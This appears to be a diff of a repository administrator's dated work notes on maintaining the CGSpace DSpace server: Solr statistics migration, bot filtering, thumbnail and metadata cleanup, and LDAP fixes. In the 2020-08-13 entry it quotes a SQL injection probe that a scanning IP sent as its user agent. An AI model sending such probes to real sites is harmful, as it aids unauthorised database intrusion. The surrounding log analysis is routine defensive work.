    • +
  • A few more IPs causing lots of Tomcat sessions yesterday:
    • +
+
$ cat dspace.log.2020-08-04 | grep "38.128.66.10" | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+1585
+$ cat dspace.log.2020-08-04 | grep "64.62.202.71" | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+5691
+
    +
  • 38.128.66.10 isn’t creating any Solr statistics due to our DSpace agents pattern, but they are creating lots of sessions so perhaps I need to force them to use one session in Tomcat:
    • +
+
Mozilla/5.0 (Windows NT 5.1) brokenlinkcheck.com/1.2
+
    +
  • 64.62.202.71 is using a user agent I’ve never seen before:
    • +
+
Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com)
+
    +
  • So now our “bot” regex can’t even match that… +
      +
    • Unless we change it to [Bb]\.?[Oo]\.?[Tt]\.?… which seems to match all variations of “bot” I can think of right now, according to regexr.com:
      • +
    +
    • +
+
RTB website BOT
+Altmetribot
+Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
+Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com)
+Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
+
    +
  • And another IP belonging to Turnitin (the alternate user agent of Turnitinbot):
    • +
+
$ cat dspace.log.2020-08-04 | grep "199.47.87.145" | grep -E 'sessi
+on_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2777
+
    +
  • I will add Turnitin to the Tomcat Crawler Session Manager Valve regex as well…
    • +
+

2020-08-06

+
    +
  • I have been working on processing the Solr statistics with the Atmire tool on DSpace Test the last few days: +
      +
    • statistics: +
        +
      • 2,040,385 docs: 2h 28m 49s
        • +
      +
      • +
    • statistics-2019: +
        +
      • 8,960,000 docs: 12h 7s
        • +
      • 1,780,575 docs: 2h 7m 29s
        • +
      +
      • +
    • statistics-2018: +
        +
      • 1,970,000 docs: 12h 1m 28s
        • +
      • 360,000 docs: 2h 54m 56s (Linode rebooted)
        • +
      • 1,110,000 docs: 7h 1m 44s (Restarted Tomcat, oops)
        • +
      +
      • +
    +
    • +
  • I decided to start the 2018 core over again, so I re-synced it from CGSpace and started again from the solr-upgrade-statistics-6x tool and now I’m having the same issues with Java heap space that I had last month +
      +
    • The process kept crashing due to memory, so I increased the memory to 3072m and finally 4096m…
      • +
    • Also, I decided to try to purge all the -unmigrated docs that it had found so far to see if that helps…
      • +
    • There were about 466,000 records unmigrated so far, most of which were type: 5 (SITE statistics)
      • +
    • Now it is processing again…
      • +
    +
    • +
  • I developed a small Java class called FixJpgJpgThumbnails to remove “.jpg.jpg” thumbnails from the THUMBNAIL bundle and replace them with their originals from the ORIGINAL bundle + +
    • +
+

2020-08-07

+
    +
  • I improved the RemovePNGThumbnailsForPDFs.java a bit more to exclude infographics and original bitstreams larger than 100KiB +
      +
    • I ran it on CGSpace and it cleaned up 3,769 thumbnails!
      • +
    • Afterwards I ran dspace cleanup -v to remove the deleted thumbnails
      • +
    +
    • +
+

2020-08-08

+
    +
  • The Atmire stats processing for the statistics-2018 Solr core keeps stopping with this error:
    • +
+
Exception: 50 consecutive records couldn't be saved. There's most likely an issue with the connection to the solr server. Shutting down.
+java.lang.RuntimeException: 50 consecutive records couldn't be saved. There's most likely an issue with the connection to the solr server. Shutting down.
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.storeOnServer(SourceFile:317)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(SourceFile:177)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • It lists a few of the records that it is having issues with and they all have integer IDs +
      +
    • When I checked Solr I see 8,000 of them, some of which have type 0 and some with no type…
      • +
    • I purged them and then the process continues:
      • +
    +
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:/[0-9]+/</query></delete>'
+

2020-08-09

+
    +
  • The Atmire script did something to the server and created 132GB of log files so the root partition ran out of space…
    • +
  • I removed the log file and tried to re-run the process but it seems to be looping over 11,000 records and failing, creating millions of lines in the logs again:
    • +
+
# grep -oE "Record uid: ([a-f0-9\\-]*){1} couldn't be processed" /home/dspacetest.cgiar.org/log/dspace.log.2020-08-09 > /tmp/not-processed-errors.txt
+# wc -l /tmp/not-processed-errors.txt
+2202973 /tmp/not-processed-errors.txt
+# sort /tmp/not-processed-errors.txt | uniq -c | tail -n 10
+    220 Record uid: ffe52878-ba23-44fb-8df7-a261bb358abc couldn't be processed
+    220 Record uid: ffecb2b0-944d-4629-afdf-5ad995facaf9 couldn't be processed
+    220 Record uid: ffedde6b-0782-4d9f-93ff-d1ba1a737585 couldn't be processed
+    220 Record uid: ffedfb13-e929-4909-b600-a18295520a97 couldn't be processed
+    220 Record uid: fff116fb-a1a0-40d0-b0fb-b71e9bb898e5 couldn't be processed
+    221 Record uid: fff1349d-79d5-4ceb-89a1-ce78107d982d couldn't be processed
+    220 Record uid: fff13ddb-b2a2-410a-9baa-97e333118c74 couldn't be processed
+    220 Record uid: fff232a6-a008-47d0-ad83-6e209bb6cdf9 couldn't be processed
+    221 Record uid: fff75243-c3be-48a0-98f8-a656f925cb68 couldn't be processed
+    221 Record uid: fff88af8-88d4-4f79-ba1a-79853973c872 couldn't be processed
+
    +
  • I looked at some of those records and saw strange objects in their containerCommunity, containerCollection, etc…
    • +
+
{
+  "responseHeader": {
+    "status": 0,
+    "QTime": 0,
+    "params": {
+      "q": "uid:fff1349d-79d5-4ceb-89a1-ce78107d982d",
+      "indent": "true",
+      "wt": "json",
+      "_": "1596957629970"
+    }
+  },
+  "response": {
+    "numFound": 1,
+    "start": 0,
+    "docs": [
+      {
+        "containerCommunity": [
+          "155",
+          "155",
+          "{set=null}"
+        ],
+        "uid": "fff1349d-79d5-4ceb-89a1-ce78107d982d",
+        "containerCollection": [
+          "1099",
+          "830",
+          "{set=830}"
+        ],
+        "owningComm": [
+          "155",
+          "155",
+          "{set=null}"
+        ],
+        "isInternal": false,
+        "isBot": false,
+        "statistics_type": "view",
+        "time": "2018-05-08T23:17:00.157Z",
+        "owningColl": [
+          "1099",
+          "830",
+          "{set=830}"
+        ],
+        "_version_": 1621500445042147300
+      }
+    ]
+  }
+}
+
    +
  • I deleted those 11,724 records with the strange “set” object in the collections and communities, as well as 360,000 records with id: -1
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>owningColl:/.*set.*/</query></delete>'
+$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:\-1</query></delete>'
+
    +
  • I was going to compare the CUA stats for 2018 and 2019 on CGSpace and DSpace Test, but after Linode rebooted CGSpace (linode18) for maintenance yesterday the solr cores didn’t all come back up OK +
      +
    • I had to restart Tomcat five times before they all came up!
      • +
    • After that I generated a report for 2018 and 2019 on each server and found that the difference is about 10,000–20,000 per month, which is much less than I was expecting
      • +
    +
    • +
  • I noticed some authors that should have ORCID identifiers, but didn’t (perhaps older items before we were tagging ORCID metadata) +
      +
    • With the simple list below I added 1,341 identifiers!
      • +
    +
    • +
+
$ cat 2020-08-09-add-ILRI-orcids.csv
+dc.contributor.author,cg.creator.id
+"Grace, Delia","Delia Grace: 0000-0002-0195-9489"
+"Delia Grace","Delia Grace: 0000-0002-0195-9489"
+"Baker, Derek","Derek Baker: 0000-0001-6020-6973"
+"Ngan Tran Thi","Tran Thi Ngan: 0000-0002-7184-3086"
+"Dang Xuan Sinh","Sinh Dang-Xuan: 0000-0002-0522-7808"
+"Hung Nguyen-Viet","Hung Nguyen-Viet: 0000-0001-9877-0596"
+"Pham Van Hung","Pham Anh Hung: 0000-0001-9366-0259"
+"Lindahl, Johanna F.","Johanna Lindahl: 0000-0002-1175-0398"
+"Teufel, Nils","Nils Teufel: 0000-0001-5305-6620"
+"Duncan, Alan J.",Alan Duncan: 0000-0002-3954-3067"
+"Moodley, Arshnee","Arshnee Moodley: 0000-0002-6469-3948"
+
    +
  • That got me curious, so I generated a list of all the unique ORCID identifiers we have in the database:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=240) TO /tmp/2020-08-09-orcid-identifiers.csv;
+COPY 2095
+dspace=# \q
+$ grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' /tmp/2020-08-09-orcid-identifiers.csv | sort | uniq > /tmp/2020-08-09-orcid-identifiers-uniq.csv
+$ wc -l /tmp/2020-08-09-orcid-identifiers-uniq.csv
+1949 /tmp/2020-08-09-orcid-identifiers-uniq.csv
+
    +
  • I looked into the strange Solr record above that had “{set=830}” in the communities and collections +
      +
    • There are exactly 11724 records like this in the current CGSpace (DSpace 5.8) statistics-2018 Solr core
      • +
    • None of them have an id or type field!
      • +
    • I see 242,000 of them in the statistics-2017 core, 185,063 in the statistics-2016 core… all the way to 2010, but not in 2019 or the current statistics core
      • +
    • I decided to purge all of these records from CGSpace right now so they don’t even have a chance at being an issue on the real migration:
      • +
    +
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>owningColl:/.*set.*/</query></delete>'
+...
+$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>owningColl:/.*set.*/</query></delete>'
+
    +
  • I added Googlebot and Twitterbot to the list of explicitly allowed bots +
      +
    • In Google’s case, they were getting lumped in with all the other bad bots and then important links like the sitemaps were returning HTTP 503, but they generally respect robots.txt so we should just allow them (perhaps we can control the crawl rate in the webmaster console)
      • +
    • In Twitter’s case they were also getting lumped in with the bad bots too, but really they only make ~50 or so requests a day when someone posts a CGSpace link on Twitter
      • +
    +
    • +
  • I tagged the ISO 3166-1 Alpha2 country codes on all items on CGSpace using my CountryCodeTagger curation task +
      +
    • I still need to set up a cron job for it…
      • +
    • This tagged 50,000 countries!
      • +
    +
    • +
+
dspace=# SELECT count(text_value) FROM metadatavalue WHERE metadata_field_id = 243 AND resource_type_id = 2;
+ count
+-------
+ 50812
+(1 row)
+

2020-08-11

+
    +
  • I noticed some more hits from Macaroni’s WordPress harvestor that I hadn’t caught last week +
      +
    • 104.198.13.34 made many requests without a user agent, with a “WordPress” user agent, and with their new “RTB website BOT” user agent, about 100,000 in total in 2020, and maybe another 70,000 in the other years
      • +
    • I will purge them an add them to the Tomcat Crawler Session Manager and the DSpace bots list so they don’t get logged in Solr
      • +
    +
    • +
  • I noticed a bunch of user agents with “Crawl” in the Solr stats, which is strange because the DSpace spider agents file has had “crawl” for a long time (and it is case insensitive) +
      +
    • In any case I will purge them and add them to the Tomcat Crawler Session Manager Valve so that at least their sessions get re-used
      • +
    +
    • +
+

2020-08-13

+
    +
  • Linode keeps sending mails that the load and outgoing bandwidth is above the threshold +
      +
    • I took a look briefly and found two IPs with the “Delphi 2009” user agent
      • +
    • Then there is 88.99.115.53 which made 82,000 requests in 2020 so far with no user agent
      • +
    • 64.62.202.73 has made 7,000 requests with this user agent Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com)
      • +
    • I had added it to the Tomcat Crawler Session Manager Valve last week but never purged the hits from Solr
      • +
    • 195.54.160.163 is making thousands of requests with user agents liket this:
      • +
    +
    • +
+

(CASE WHEN 2850=9474 THEN 2850 ELSE NULL END)

+
    +
  • I purged 150,000 hits from 2020 and 2020 from these user agents and hosts
    • +
+

2020-08-14

+
    +
  • Last night I started the processing of the statistics-2016 core with the Atmire stats util and I see some errors like this:
    • +
+
Record uid: f6b288d7-d60d-4df9-b311-1696b88552a0 couldn't be processed
+com.atmire.statistics.util.update.atomic.ProcessingException: something went wrong while processing record uid: f6b288d7-d60d-4df9-b311-1696b88552a0, an error occured in the com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(SourceFile:304)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(SourceFile:176)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: java.lang.NullPointerException
+
    +
  • I see it has id: 980-unmigrated and type: 0…
    • +
  • The 2016 core has 629,983 unmigrated docs, mostly: +
      +
    • type: 5: 620311
      • +
    • type: 0: 7255
      • +
    • type: 3: 1333
      • +
    +
    • +
  • I purged the unmigrated docs and continued processing:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2016/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:/.*unmigrated.*/</query></delete>'
+$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2016
+
    +
  • Altmetric asked for a dump of CGSpace’s OAI “sets” so they can update their affiliation mappings +
      +
    • I did it in a kinda ghetto way:
      • +
    +
    • +
+
$ http 'https://cgspace.cgiar.org/oai/request?verb=ListSets' > /tmp/0.xml
+$ for num in {100..1300..100}; do http "https://cgspace.cgiar.org/oai/request?verb=ListSets&resumptionToken=////$num" > /tmp/$num.xml; sleep 2; done
+$ for num in {0..1300..100}; do cat /tmp/$num.xml >> /tmp/cgspace-oai-sets.xml; done
+
    +
  • This produces one file that has all the sets, albeit with 14 pages of responses concatenated into one document, but that’s how theirs was in the first place…
    • +
  • Help Bizu with a restricted item for CIAT
    • +
+

2020-08-16

+
    +
  • The com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI script that was processing 2015 records last night started spitting shit tons of errors and created 120GB of logs…
    • +
  • I looked at a few of the UIDs that it was having problems with and they were unmigrated ones… so I purged them in 2015 and all the rest of the statistics cores
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2015/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:/.*unmigrated.*/</query></delete>'
+...
+$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:/.*unmigrated.*/</query></delete>'
+

2020-08-19

+
    +
  • I tested the DSpace 5 and DSpace 6 versions of the country code tagger curation task and noticed a few things +
      +
    • The DSpace 5.8 version finishes in 2 hours and 1 minute
      • +
    • The DSpace 6.3 version ran for over 12 hours and didn’t even finish (I killed it)
      • +
    • Furthermore, it seems that each item is curated once for each collection it appears in, causing about 115,000 items to be processed, even though we only have about 87,000
      • +
    +
    • +
  • I had been running the tasks on the entire repository with -i 10568/0, but I think I might need to try again with the special all option before writing to the dspace-tech mailing list for help +
      +
    • Actually I just tested the all option on DSpace 5.8 and it still does many of the items multiple times, once for each of their mappings
      • +
    • I sent a message to the dspace-tech mailing list
      • +
    +
    • +
  • I finished the Atmire stats processing on all cores on DSpace Test: +
      +
    • statistics: +
        +
      • 2,040,385 docs: 2h 28m 49s
        • +
      +
      • +
    • statistics-2019: +
        +
      • 8,960,000 docs: 12h 7s
        • +
      • 1,780,575 docs: 2h 7m 29s
        • +
      +
      • +
    • statistics-2018: +
        +
      • 2,200,000 docs: 12h 1m 11s
        • +
      • 2,100,000 docs: 12h 4m 19s
        • +
      • ?
        • +
      +
      • +
    • statistics-2017: +
        +
      • 1,970,000 docs: 12h 5m 45s
        • +
      • 2,000,000 docs: 12h 5m 38s
        • +
      • 1,312,674 docs: 4h 14m 23s
        • +
      +
      • +
    • statistics-2016: +
        +
      • 1,669,020 docs: 12h 4m 3s
        • +
      • 1,650,000 docs: 12h 7m 40s
        • +
      • 850,611 docs: 44m 52s
        • +
      +
      • +
    • statistics-2014: +
        +
      • 4,832,334 docs: 3h 53m 41s
        • +
      +
      • +
    • statistics-2013: +
        +
      • 4,509,891 docs: 3h 18m 44s
        • +
      +
      • +
    • statistics-2012: +
        +
      • 3,716,857 docs: 2h 36m 21s
        • +
      +
      • +
    • statistics-2011: +
        +
      • 1,645,426 docs: 1h 11m 41s
        • +
      +
      • +
    +
    • +
  • As far as I can tell, the processing became much faster once I purged all the unmigrated records +
      +
    • It took about six days for the processing according to the times above, though 2015 is missing… hmm
      • +
    +
    • +
  • Now I am testing the Atmire Listings and Reports +
      +
    • On both my local test and DSpace Test I get no results when searching for “Orth, A.” and “Orth, Alan” or even Delia Grace, but the Discovery index is up to date and I have eighteen items…
      • +
    • I sent a message to Atmire…
      • +
    +
    • +
+

2020-08-20

+
    +
  • Natalia from CIAT was asking how she can download all the PDFs for the items in a search result +
      +
    • The search result is for the keyword “trade off” in the WLE community
      • +
    • I converted the Discovery search to an open-search query to extract the XML, but we can’t get all the results on one page so I had to change the rpp to 100 and request a few times to get them all:
      • +
    +
    • +
+
$ http 'https://cgspace.cgiar.org/open-search/discover?scope=10568%2F34494&query=trade+off&rpp=100&start=0' User-Agent:'curl' > /tmp/wle-trade-off-page1.xml
+$ http 'https://cgspace.cgiar.org/open-search/discover?scope=10568%2F34494&query=trade+off&rpp=100&start=100' User-Agent:'curl' > /tmp/wle-trade-off-page2.xml
+$ http 'https://cgspace.cgiar.org/open-search/discover?scope=10568%2F34494&query=trade+off&rpp=100&start=200' User-Agent:'curl' > /tmp/wle-trade-off-page3.xml
+
+
$ xmllint --xpath '//*[local-name()="entry"]/*[local-name()="id"]/text()' /tmp/wle-trade-off-page1.xml >> /tmp/ids.txt
+$ xmllint --xpath '//*[local-name()="entry"]/*[local-name()="id"]/text()' /tmp/wle-trade-off-page2.xml >> /tmp/ids.txt
+$ xmllint --xpath '//*[local-name()="entry"]/*[local-name()="id"]/text()' /tmp/wle-trade-off-page3.xml >> /tmp/ids.txt
+$ sort -u /tmp/ids.txt > /tmp/ids-sorted.txt
+$ grep -oE '[0-9]+/[0-9]+' /tmp/ids.txt > /tmp/handles.txt
+
    +
  • Now I have all the handles for the matching items and I can use the REST API to get each item’s PDFs… + +
    • +
  • Add Foreign, Commonwealth and Development Office, United Kingdom to the controlled vocabulary for sponsors on CGSpace +
      +
    • This is the new name for DFID as of 2020-09-01
      • +
    • We will continue using DFID for older items
      • +
    +
    • +
+

2020-08-22

+
    +
  • Peter noticed that the AReS data was out dated, and I see in the admin dashboard that it hasn’t been updated since 2020-07-21 +
      +
    • I initiated a re-indexing and I see from the CGSpace logs that it is indeed running
      • +
    +
    • +
  • Margarita from CCAFS asked for help adding a new user to their submission and approvers groups +
      +
    • I told them to log in using the LDAP login first so that the e-person gets created
      • +
    +
    • +
  • I manually renamed a few dozen of the stupid “a-ILRI submitters” groups that had the “a-” prefix on CGSpace +
      +
    • For what it’s worth, we had asked Sisay to do this over a year ago and he never did
      • +
    • Also, we have two CCAFS approvers groups: CCAFS approvers and CCAFS approvers1, with each added to about half of the CCAFS collections
      • +
    • The group members are the same so I went through and replaced the CCAFS approvers1 group everywhere manually…
      • +
    • I also removed some old CCAFS users from the groups
      • +
    +
    • +
+

2020-08-27

+
    +
  • I ran the CountryCodeTagger on CGSpace and it was very fast:
    • +
+
$ time chrt -b 0 dspace curate -t countrycodetagger -i all -r - -l 500 -s object | tee /tmp/2020-08-27-countrycodetagger.log
+real    2m7.643s
+user    1m48.740s
+sys     0m14.518s
+$ grep -c added /tmp/2020-08-27-countrycodetagger.log
+46
+
    +
  • I still haven’t created a cron job for it… but it’s good to know that when it doesn’t need to add very many country codes that it is very fast (original run a few weeks ago added 50,000 country codes) +
      +
    • I wonder how DSpace 6 will perform when it doesn’t need to add all the codes, like after the initial run
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-09/index.html b/docs/2020-09/index.html new file mode 100644 index 000000000..e2a93d36d --- /dev/null +++ b/docs/2020-09/index.html @@ -0,0 +1,771 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2020

+

+ + in + Notes + + +

+
+

2020-09-02

+
    +
  • Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS
    • +
  • The AReS Explorer hasn’t updated its index since 2020-08-22 when I last forced it +
      +
    • I restarted it again now and told Moayad that the automatic indexing isn’t working
      • +
    +
    • +
  • Add Alliance of Bioversity International and CIAT to affiliations on CGSpace
    • +
  • Abenet told me that the general search text on AReS doesn’t get reset when you use the “Reset Filters” button + +
    • +
  • I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40
    • +
+
    +
  • I ran the country code tagger on CGSpace:
    • +
+
$ time chrt -b 0 dspace curate -t countrycodetagger -i all -r - -l 500 -s object | tee /tmp/2020-09-02-countrycodetagger.log
+...
+real    2m10.516s
+user    1m43.953s
+sys     0m15.192s
+$ grep -c added /tmp/2020-09-02-countrycodetagger.log
+39
+
    +
  • I still need to create a cron job for this…
    • +
  • Sisay and Abenet said they can’t log in with LDAP on DSpace Test (DSpace 6) +
      +
    • I tried and I can’t either… but it is working on CGSpace
      • +
    • The error on DSpace 6 is:
      • +
    +
    • +
+
2020-09-02 12:03:10,666 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=A629116488DCC467E1EA2062A2E2EFD7:ip_addr=92.220.02.201:failed_login:no DN found for user aorth
+
    +
  • I tried to query LDAP directly using the application credentials with ldapsearch and it works:
    • +
+
$ ldapsearch -x -H ldaps://AZCGNEROOT2.CGIARAD.ORG:636/ -b "dc=cgiarad,dc=org" -D "applicationaccount@cgiarad.org" -W "(sAMAccountName=me)"
+
    +
  • According to the DSpace 6 docs we need to escape commas in our LDAP parameters due to the new configuration system +
      +
    • I added the commas and restarted DSpace (though technically we shouldn’t need to restart due to the new config system hot reloading configs)
      • +
    • Run all system updates on DSpace Test (linode26) and reboot it
      • +
    • After the restart LDAP login works…
      • +
    +
    • +
+

2020-09-03

+
    +
  • Fix some erroneous “review status” fields that Abenet noticed on AReS +
      +
    • I used my fix-metadata-values.py and delete-metadata-values.py scripts with the following input files:
      • +
    +
    • +
+
$ cat 2020-09-03-fix-review-status.csv
+dc.description.version,correct
+Externally Peer Reviewed,Peer Review
+Peer Reviewed,Peer Review
+Peer review,Peer Review
+Peer reviewed,Peer Review
+Peer-Reviewed,Peer Review
+Peer-reviewed,Peer Review
+peer Review,Peer Review
+$ cat 2020-09-03-delete-review-status.csv
+dc.description.version
+Report
+Formally Published
+Poster
+Unrefereed reprint
+$ ./delete-metadata-values.py -i 2020-09-03-delete-review-status.csv -db dspace -u dspace -p 'fuuu' -f dc.description.version -m 68
+$ ./fix-metadata-values.py -i 2020-09-03-fix-review-status.csv -db dspace -u dspace -p 'fuuu' -f dc.description.version -t 'correct' -m 68
+
    +
  • Start reviewing 95 items for IITA (20201stbatch) +
      +
    • I used my csv-metadata-quality tool to check and fix some low-hanging fruit first
      • +
    • This fixed a few unnecessary Unicode, excessive whitespace, invalid multi-value separator, and duplicate metadata values
      • +
    • Then I looked at the data in OpenRefine and noticed some things: +
        +
      • All issue dates use year only, but some have months in the citation so they could be more specific
        • +
      • I normalized all the DOIs to use “https://doi.org” format
        • +
      • I fixed a few AGROVOC subjects with a simple GREL: value.replace("GRAINS","GRAIN").replace("SOILS","SOIL").replace("CORN","MAIZE")
        • +
      • But there are a few more that are invalid that she will have to look at
        • +
      • I uploaded the items to DSpace Test and it was apparently successful but I get these errors to the console:
        • +
      +
      • +
    +
    • +
+
Thu Sep 03 12:26:33 CEST 2020 | Query:containerItem:ea7a2648-180d-4fce-bdc5-c3aa2304fc58
+Error while updating
+java.lang.NullPointerException
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl$5.visit(SourceFile:1131)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.visitEachStatisticShard(SourceFile:212)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1104)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1093)
+        at org.dspace.statistics.StatisticsLoggingConsumer.consume(SourceFile:104)
+        at org.dspace.event.BasicDispatcher.consume(BasicDispatcher.java:177)
+        at org.dspace.event.BasicDispatcher.dispatch(BasicDispatcher.java:123)
+        at org.dspace.core.Context.dispatchEvents(Context.java:455)
+        at org.dspace.core.Context.commit(Context.java:424)
+        at org.dspace.core.Context.complete(Context.java:380)
+        at org.dspace.app.bulkedit.MetadataImport.main(MetadataImport.java:1399)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • There are more in the DSpace log so I will raise it with Atmire immediately
    • +
+

2020-09-04

+ +
dspace=# UPDATE metadatavalue SET text_value = regexp_replace(text_value, '^(http://)?www\.cifor\.org/(nc/)?online-library/browse/view-publication/publication/([[:digit:]]+)\.html$', 'https://www.cifor.org/knowledge/publication/\3') WHERE metadata_field_id=219 AND text_value ~ 'www\.cifor\.org/(nc/)?online-library/browse/view-publication/publication/[[:digit:]]+';
+dspace=# UPDATE metadatavalue SET text_value = regexp_replace(text_value, '^https?://www\.cifor\.org/library/([[:digit:]]+)/?$', 'https://www.cifor.org/knowledge/publication/\1') WHERE metadata_field_id=219 AND text_value ~ 'https?://www\.cifor\.org/library/[[:digit:]]+/?';
+dspace=# UPDATE metadatavalue SET text_value = regexp_replace(text_value, '^https?://www\.cifor\.org/pid/([[:digit:]]+)/?$', 'https://www.cifor.org/knowledge/publication/\1') WHERE metadata_field_id=219 AND text_value ~ 'https?://www\.cifor\.org/pid/[[:digit:]]+';
+
    +
  • I did some cleanup on the author affiliations of the IITA data our 2019-04 list using reconcile-csv and OpenRefine: +
      +
    • $ lein run ~/src/git/DSpace/2019-04-08-affiliations.csv name id
      • +
    • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new column and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
      • +
    +
    • +
  • I mapped one duplicated from the CIFOR Archives and re-uploaded the 94 IITA items to a new collection on DSpace Test
    • +
+

2020-09-08

+
    +
  • I noticed that the “share” link in AReS wasn’t working properly because it excludes the “explorer” part of the URI
    • +
+

AReS share link broken

+
    +
  • I filed an issue on GitHub: https://github.com/ilri/OpenRXV/issues/41
    • +
  • I uploaded the 94 IITA items that I had been working on last week to CGSpace
    • +
  • RTB emailed to ask why they are getting HTTP 503 errors during harvesting to the RTB WordPress website +
      +
    • From the screenshot I can see they are requesting URLs like this:
      • +
    +
    • +
+
https://cgspace.cgiar.org/bitstream/handle/10568/82745/Characteristics-Silage.JPG
+
    +
  • So they end up getting rate limited due to the XMLUI rate limits +
      +
    • I told them to use the REST API bitstream retrieve links, because we don’t have any rate limits there
      • +
    +
    • +
+

2020-09-09

+
    +
  • Wire up the systemd service/timer for the CGSpace Country Code Tagger curation task in the Ansible infrastructure scripts +
      +
    • For now it won’t work on DSpace 6 because the curation task invocation needs to be slightly different (minus the -l parameter) and for some reason the task isn’t working on DSpace Test (version 6) right now
      • +
    • I added DSpace 6 support to the playbook templates…
      • +
    +
    • +
  • Run system updates on DSpace Test (linode26), re-deploy the DSpace 6 test branch, and reboot the server +
      +
    • After rebooting I deleted old copies of the cgspace-java-helpers JAR in the DSpace lib directory and then the curation worked
      • +
    • To my great surprise the curation worked (and completed, albeit a few times slower) on my local DSpace 6 environment as well:
      • +
    +
    • +
+
$ ~/dspace63/bin/dspace curate -t countrycodetagger -i all -s object
+

2020-09-10

+
    +
  • I checked the country code tagger on CGSpace and DSpace Test and it ran fine from the systemd timer last night… w00t
    • +
  • I started looking at Peter’s changes to the CGSpace regions that were proposed in 2020-07 +
      +
    • The changes will be:
      • +
    +
    • +
+
$ cat 2020-09-10-fix-cgspace-regions.csv
+cg.coverage.region,correct
